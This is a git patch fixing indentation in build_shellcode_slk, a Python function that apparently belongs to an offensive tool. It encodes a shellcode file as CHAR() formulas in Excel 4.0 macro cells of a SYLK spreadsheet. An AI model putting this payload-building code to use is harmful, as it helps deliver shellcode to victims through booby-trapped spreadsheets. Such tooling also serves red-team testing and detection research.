From 7c3526ca784cc4127d4c9e9988bda87a9a3d9868 Mon Sep 17 00:00:00 2001 From: Thanasis Tserpelis Date: Wed, 3 Feb 2021 11:23:32 +0200 Subject: [PATCH] Update excel4.py Some indentations were wrong and it wasn't running. --- modules/excel4.py | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) diff --git a/modules/excel4.py b/modules/excel4.py index 7982917..da7e726 100644 --- a/modules/excel4.py +++ b/modules/excel4.py @@ -32,21 +32,21 @@ def build_shellcode_slk(shellcode_path): slk_output = SHELLCODE_HEADER with open(shellcode_path, "rb") as f: - byte = f.read(1) - i = 0 - cell=0 - while byte != "": - if i == 0: - cell=cell+1 - slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) - else: - slk_output+=("&") - slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") - byte = f.read(1) - i+=1 - if i == 20: - slk_output+=("\n") - i = 0 + byte = f.read(1) + i = 0 + cell=0 + while byte != "": + if i == 0: + cell=cell+1 + slk_output+=("C;X2;Y%s;K0;E" % (str(cell))) + else: + slk_output+=("&") + slk_output+=("CHAR(" + str(bytes2int(byte)) + ")") + byte = f.read(1) + i+=1 + if i == 20: + slk_output+=("\n") + i = 0 cell=cell+1 slk_output+=("\nC;X2;Y%s;K0;ERETURN()\nE\n" % (str(cell))) - return slk_output \ No newline at end of file + return slk_output